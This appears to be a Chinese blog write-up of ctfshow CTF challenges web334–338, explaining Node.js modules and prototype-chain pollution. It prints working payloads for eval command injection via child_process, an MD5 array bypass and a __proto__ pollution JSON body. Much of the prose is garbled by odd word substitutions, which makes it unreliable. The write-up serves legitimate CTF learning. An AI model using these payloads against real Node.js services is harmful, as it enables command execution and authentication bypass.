前言
最近刷题刷到一个关于原型链污染的,想着之前学长揣摩过这些东西,刚好我最近又闲,就学习一下node.js的原型链污染,顺便理解一下node.js。
node.js根底
简单的说 Node.js 就是运转在效劳端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运转时树立的一个平台。
Node.js是一个事情驱动I/O效劳端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度十分快,性能十分好。
这里就只解说一下后续写题会触及到的一些node.js的根底
node.js 允许用户从NPM效劳器下载他人编写的第三方包到本地运用
这就像python 一样pip下载包以后,经过import引入,而node.js是经过require引入的。
同步和异步
Node.js 文件系统(fs 模块)模块中的办法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的办法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。
解释一下同步和异步,就像我们常说的一心二用一样,异步就是我们的一心二用,一边吃饭,一边看电视,而同步就是,吃完饭再看电视。
简单的说就是:
当你先读取文件输出后输出一段话的时分
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
fs模块
node.js的文件操作模块,我们本地树立一个sd.txt
它的同步函数:readFileSync,异步函数:readFile
var fs = require("fs");
// 异步读取
fs.readFile('sd.txt', function (err, data) {
if (err) {
return console.error(err);
}
console.log("异步读取: " + data.toString());
});
// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());
console.log("程序执行终了。");
输出:
同步读取: wdwdwdw
文件读取实例
程序执行终了。
异步读取: wdwdwdw
文件读取实例
child_process模块
child_process提供了几种创立子进程的方式
异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的了解,创立子进程的同步异步方式应该不难了解。
在异步创立进程时,spawn是根底,其他的fork、exec、execFile都是基于spawn来生成的。
同步创立进程能够运用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的办法会阻塞 Node.js 事情循环、暂停任何其他代码的执行,直到子进程退出。
其中的一些函数,在一些状况下,能够招致命令执行破绽,后面写题时分会用到
其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是经过一条原型链来停止继承的。
接下来我来讲一下我了解的原型链
原型链
在理解原型链之前,先理解两个关键字。
prototype
在JavaScript中,prototype对象是完成面向对象的一个重要机制。
它是函数所独有的,它是从一个函数指向一个对象 它的含义是函数的原型对象,也就是这个函数(其实一切函数都能够作为结构函数)所创立的实例的原型对象
这里直接举个例子
function Food(bar,bar1,bar2) {
this.bar = 1;
this.bar1=5;
}
let food = new Food();
Food.prototype.bar2=6;
console.log(food.bar1);
console.log(food.bar2);
//5
//6
可一看到,我们能够经过prototype属性,指向到这个函数的原型对象中然后创立bar2,赋值为6,之后我们用food作为Food的继承类,这个food就具有bar2的属性。
proto
在实例化后,就不能经过prototype访问其原型对象了,而且prototype是函数特有的,那我们能够经过proto来访问他的原型对象
它是对象所独有的,proto属性都是由一个对象指向一个对象,即指向它们的原型对象(也能够了解为父对象)
所以经过理解,我们能够得出这么的结论
Food.prototype===food.__proto__
function Food(bar,bar1,bar2) {
this.bar = 1;
this.bar1=5;
}
let food = new Food();
console.log(Food.prototype===food.__proto__);
然后我们来正式理解什么是原型链
原型链
我们先看如下代码代码
function Food() {
this.bar = 1;
this.bar1=5;
}
function food(){
this.bar=2;
}
food.prototype = new Food();
let food1 = new food();
console.log(food1.bar);
console.log(food1.bar1);
food类继承Food的bar1属性
而我们输出实例化food1的bar1的时分,它的查找过程是这样的
1.先查找父对象能否具有这个属性,假如没有
2.在实例化类的proto中查找,又由于Food.prototype===food.__proto__
,所以在Food类里找到bar1
但是它的查找过程入下图所示
假如没有找到,就会不断向上一级的.proto停止查找,直到null
这品种似链的构造,被称为原型链
原型链污染
这里我直接用p神的代码停止解释了
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修正foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找次第的缘由,foo.bar依然是1
console.log(foo.bar)
// 此时再用Object创立一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
能够看到最后的空的zoo也具有了bar的属性
我们输出zoo.bar的时分,node.js的引擎就开端在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.proto.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。
这种修正了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染。
实战
学问点中是要与标题串联的,前几题都是node.js的一些别的破绽,协助了解node.js相关题型的解法。
ctfshow web334
开启标题,给了两段代码
//login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录胜利',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
粗略的看两眼的代码,能够发现,只需登录,就会有flag,登陆账号密码是{username: 'CTFSHOW', password: '123456'}
,但是尝试登陆的时分
发现不对劲,有猫腻,然后扭头,认真看了看代码
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
发现了这个toUpperCase()
,而且name!=='CTFSHOW'
,所以只能ctfshow/Ctfshow
不全为大写字母都行。
ctfshow web335
开启环境
看到eval,猜想是eval命令执行
去百度搜索一下,找一个payload尝试一下
用child_process模块的 exec 执行命令
?eval=require('child_process').exec('ls');
回显不对劲,就没思绪了,最后看了羽师傅的wp和别的师傅解释
猜想其代码为代码为eval(‘console.log(xxx)’)
触及同步和异步的问题我们运用的exec是异步进程,在我们输入ls,查取目录时,就曾经eval执行了,所以我们要运用发明同步进程的函数
第一种办法
require('child_process').execSync('ls')
require('child_process').execSync('cat fl00g.txt');
或者用羽师傅的payload:
?eval=require(“child_process”).spawnSync(‘ls’).stdout.toString()
?eval=require( ‘child_process’ ).spawnSync( ‘cat’, [ ‘fl001g.txt’ ] ).stdout.toString()
办法二
参考Y4师傅的
global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)
ctfshow web336
照旧是eval
被过滤了,运用羽师傅的payload试试
羽师傅的能够
ctfshow web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
给了提示
对某字符停止md5加密,然后get,a和b,需求a不等于b,但是md5加密后相等
这里能够用数组绕过md5的比拟
payload
a[i]=1&b[i]=2
ctfshow web338(原型链污染)
终于到原型链污染了
给了源码,跟第一关一样的登录框。
找到login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
utils.copy(user,req.body);
,这里就是打破口,经过给Object添加ctfshow的属性,使 if(secert.ctfshow==='36dboy')
返回ture即可
payload{"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}
总结
初次接触node.js,别的破绽还有很多,道阻且长,冲冲冲!
参考
https://m0re.top/posts/63e48fc9/
https://blog.csdn.net/miuzzx/article/details/111780832?spm=1001.2014.3001.5501
https://blog.csdn.net/solitudi/article/details/111669500
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
https://www.runoob.com/nodejs/nodejs-tutorial.html
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者